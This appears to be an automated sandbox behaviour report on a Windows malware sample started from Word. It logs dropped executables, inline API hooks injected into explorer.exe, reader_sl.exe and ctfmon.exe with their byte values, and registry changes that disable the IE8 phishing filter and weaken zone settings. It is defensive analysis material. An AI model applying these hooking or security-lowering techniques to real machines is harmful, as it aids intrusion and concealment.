Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comProcess information set: NOOPENFILEERRORBOX
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comProcess information set: NOOPENFILEERRORBOX
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comProcess information set: NOOPENFILEERRORBOX
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comProcess information set: NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeProcess information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\cmd.exeProcess information set: NOOPENFILEERRORBOX
Extensive use of GetProcAddress (often used to hide API calls)Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_00417B9E LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadImageW,GetIconInfo,GetCursorPos,DrawIcon,lstrcmpiW,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,5_2_00417B9E
Monitors certain registry keys / values for changes (often done to protect autostart functionality)Show sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXERegistry key monitored for changes: \REGISTRY\USER
Hooks files or directories query functions (used to hide files and directories)Show sources
Source: explorer.exeIAT, EAT, inline or SSDT hook detected: function: GetFileAttributesExW
Modifies the prolog of user mode functions (user mode inline hooks)Show sources
Source: explorer.exeUser mode code has chanced: module: USER32.dll function: GetUpdateRect new code: 0xE9 0x90 0x0A 0xAA 0xA0 0x0A
Overwrites code with function prologuesShow sources
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA000A value: 8B FF 55 8B EC E9 86 11 C7 7B
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0014 value: 8B FF 55 8B EC E9 A3 2E 67 76
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA001E value: 8B FF 55 8B EC E9 7E 60 62 76
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0028 value: 8B FF 55 8B EC E9 94 E9 62 76
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0032 value: 8B FF 55 8B EC E9 8A 2F 67 76
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA003C value: 8B FF 55 8B EC E9 4B 4D 62 76
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0046 value: 8B FF 55 8B EC E9 9F 82 62 76
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0050 value: 8B FF 55 8B EC E9 AB 90 65 76
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA005A value: 8B FF 55 8B EC E9 98 89 63 76
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0070 value: 8B FF 55 8B EC E9 B6 3D F1 70
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA007A value: 8B FF 55 8B EC E9 A8 4B F1 70
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0084 value: 8B FF 55 8B EC E9 71 68 F1 70
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA00BA value: 8B FF 55 8B EC E9 7B 3C 88 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA00C4 value: 8B FF 55 8B EC E9 AE E4 89 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA00CE value: 8B FF 55 8B EC E9 60 07 89 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA00D8 value: 8B FF 55 8B EC E9 88 F8 8A 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA00E2 value: 8B FF 55 8B EC E9 60 09 89 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA00EC value: 8B FF 55 8B EC E9 C3 F8 8A 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA00F6 value: 8B FF 55 8B EC E9 23 9F 88 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0100 value: 8B FF 55 8B EC E9 78 A8 88 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA010A value: 8B FF 55 8B EC E9 8B A2 87 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0114 value: 8B FF 55 8B EC E9 45 E9 88 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA011E value: 8B FF 55 8B EC E9 5C AE 87 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0128 value: 8B FF 55 8B EC E9 0C 7B 88 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0164 value: 8B FF 55 8B EC E9 34 85 87 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA016E value: 8B FF 55 8B EC E9 56 A7 88 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0178 value: 8B FF 55 8B EC E9 6F F4 88 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA018E value: 8B FF 55 8B EC E9 BB 95 88 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA0198 value: 8B FF 55 8B EC E9 16 60 8B 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA01C2 value: 8B FF 55 8B EC E9 FF 8F 87 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA01CC value: 8B FF 55 8B EC E9 5A 75 88 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA01D6 value: 8B FF 55 8B EC E9 C0 90 87 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA01E0 value: 8B FF 55 8B EC E9 5B A1 88 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA01EA value: 8B FF 55 8B EC E9 07 8A 87 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA01F4 value: 8B FF 55 8B EC E9 C1 0B 89 7D
Source: C:\WINDOWS\explorer.exeMemory written: PID: 1496 base: BA01FE value: 8B FF 55 8B EC E9 8C FD F4 76
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C0000A value: 8B FF 55 8B EC E9 86 11 C1 7B
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00014 value: 8B FF 55 8B EC E9 A3 2E 61 76
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C0001E value: 8B FF 55 8B EC E9 7E 60 5C 76
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00028 value: 8B FF 55 8B EC E9 94 E9 5C 76
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00032 value: 8B FF 55 8B EC E9 8A 2F 61 76
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C0003C value: 8B FF 55 8B EC E9 4B 4D 5C 76
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00046 value: 8B FF 55 8B EC E9 9F 82 5C 76
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00050 value: 8B FF 55 8B EC E9 AB 90 5F 76
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C0005A value: 8B FF 55 8B EC E9 98 89 5D 76
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00070 value: 8B FF 55 8B EC E9 B6 3D EB 70
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C0007A value: 8B FF 55 8B EC E9 A8 4B EB 70
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00084 value: 8B FF 55 8B EC E9 71 68 EB 70
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C000BA value: 8B FF 55 8B EC E9 7B 3C 82 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C000C4 value: 8B FF 55 8B EC E9 AE E4 83 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C000CE value: 8B FF 55 8B EC E9 60 07 83 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C000D8 value: 8B FF 55 8B EC E9 88 F8 84 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C000E2 value: 8B FF 55 8B EC E9 60 09 83 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C000EC value: 8B FF 55 8B EC E9 C3 F8 84 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C000F6 value: 8B FF 55 8B EC E9 23 9F 82 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00100 value: 8B FF 55 8B EC E9 78 A8 82 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C0010A value: 8B FF 55 8B EC E9 8B A2 81 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00114 value: 8B FF 55 8B EC E9 45 E9 82 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C0011E value: 8B FF 55 8B EC E9 5C AE 81 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00128 value: 8B FF 55 8B EC E9 0C 7B 82 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00164 value: 8B FF 55 8B EC E9 34 85 81 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C0016E value: 8B FF 55 8B EC E9 56 A7 82 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00178 value: 8B FF 55 8B EC E9 6F F4 82 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C0018E value: 8B FF 55 8B EC E9 BB 95 82 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C00198 value: 8B FF 55 8B EC E9 16 60 85 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C001C2 value: 8B FF 55 8B EC E9 FF 8F 81 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C001CC value: 8B FF 55 8B EC E9 5A 75 82 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C001D6 value: 8B FF 55 8B EC E9 C0 90 81 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C001E0 value: 8B FF 55 8B EC E9 5B A1 82 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C001EA value: 8B FF 55 8B EC E9 07 8A 81 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C001F4 value: 8B FF 55 8B EC E9 C1 0B 83 7D
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeMemory written: PID: 1744 base: C001FE value: 8B FF 55 8B EC E9 8C FD EE 76
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD000A value: 8B FF 55 8B EC E9 86 11 C4 7B
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0014 value: 8B FF 55 8B EC E9 A3 2E 64 76
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD001E value: 8B FF 55 8B EC E9 7E 60 5F 76
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0028 value: 8B FF 55 8B EC E9 94 E9 5F 76
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0032 value: 8B FF 55 8B EC E9 8A 2F 64 76
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD003C value: 8B FF 55 8B EC E9 4B 4D 5F 76
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0046 value: 8B FF 55 8B EC E9 9F 82 5F 76
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0050 value: 8B FF 55 8B EC E9 AB 90 62 76
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD005A value: 8B FF 55 8B EC E9 98 89 60 76
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0070 value: 8B FF 55 8B EC E9 B6 3D EE 70
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD007A value: 8B FF 55 8B EC E9 A8 4B EE 70
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0084 value: 8B FF 55 8B EC E9 71 68 EE 70
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD00BA value: 8B FF 55 8B EC E9 7B 3C 85 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD00C4 value: 8B FF 55 8B EC E9 AE E4 86 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD00CE value: 8B FF 55 8B EC E9 60 07 86 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD00D8 value: 8B FF 55 8B EC E9 88 F8 87 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD00E2 value: 8B FF 55 8B EC E9 60 09 86 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD00EC value: 8B FF 55 8B EC E9 C3 F8 87 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD00F6 value: 8B FF 55 8B EC E9 23 9F 85 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0100 value: 8B FF 55 8B EC E9 78 A8 85 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD010A value: 8B FF 55 8B EC E9 8B A2 84 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0114 value: 8B FF 55 8B EC E9 45 E9 85 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD011E value: 8B FF 55 8B EC E9 5C AE 84 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0128 value: 8B FF 55 8B EC E9 0C 7B 85 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0164 value: 8B FF 55 8B EC E9 34 85 84 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD016E value: 8B FF 55 8B EC E9 56 A7 85 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0178 value: 8B FF 55 8B EC E9 6F F4 85 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD018E value: 8B FF 55 8B EC E9 BB 95 85 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD0198 value: 8B FF 55 8B EC E9 16 60 88 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD01C2 value: 8B FF 55 8B EC E9 FF 8F 84 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD01CC value: 8B FF 55 8B EC E9 5A 75 85 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD01D6 value: 8B FF 55 8B EC E9 C0 90 84 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD01E0 value: 8B FF 55 8B EC E9 5B A1 85 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD01EA value: 8B FF 55 8B EC E9 07 8A 84 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD01F4 value: 8B FF 55 8B EC E9 C1 0B 86 7D
Source: C:\WINDOWS\system32\ctfmon.exeMemory written: PID: 1756 base: BD01FE value: 8B FF 55 8B EC E9 8C FD F1 76

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
May initialize a security null descriptorShow sources
Source: 3463226.exeBinary or memory string: S:(ML;;NRNWNX;;;LW)
Disables the phishing filter of internet explorer 8Show sources
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Internet Explorer\PhishingFilter EnabledV8
Modifies Internet Explorer zone settingsShow sources
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1 1406
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 1406
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3 1406
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 1406
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0 1609
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1 1609
Source: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exeRegistry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 1609
